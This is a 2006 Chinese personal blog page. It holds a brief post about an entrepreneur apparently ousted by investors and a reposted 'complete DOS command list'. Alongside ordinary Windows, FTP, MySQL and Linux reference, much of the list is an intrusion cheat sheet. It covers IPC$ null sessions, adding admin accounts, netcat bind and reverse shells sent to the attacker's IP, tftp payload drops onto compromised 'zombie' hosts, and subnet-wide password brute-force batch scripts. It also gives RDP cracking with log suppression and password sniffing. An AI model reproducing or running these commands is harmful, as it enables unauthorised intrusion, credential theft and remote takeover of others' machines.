路是爬出来的

2006年12月30日 #

高燃被T

记得第一次知道高燃这个人是在《鲁豫有约》的节目上。
听他讲诉自己的故事,觉得他很了不起,有时候我是个很佩服学习好的人,特别是那张非死读书的人。一个专业生能考上清华,本身就是件轰动的事情。后来听他是如何成功的拉倒风险投资已经创建Mysee。
自那以后,我就一直有关注他的blog,看他的博文,听他的故事。
他本是我们的一个榜样,一个值得学习的榜样。
可最近却辞职了。谁都知道,他怎么可能辞职呢?肯定是被T的。
由此。艾。最后控制的还是掌握资本的人。而非掌握技术或者。。。。。。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(247) | 评论 (0)编辑 收藏

DOS命令大全(经典收藏)

见到网络上,觉得值得学习,特此收藏到这里,因为我几乎天天来这个网站

net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ "(1 1 254)"第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;"(1 -1 254)"说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为"真"。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:"if "%2%"=="4" goto start"指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:"if not nc.exe goto end"指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:"if exist test.txt. else echo test.txt.missing ",注意命令中的"."

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
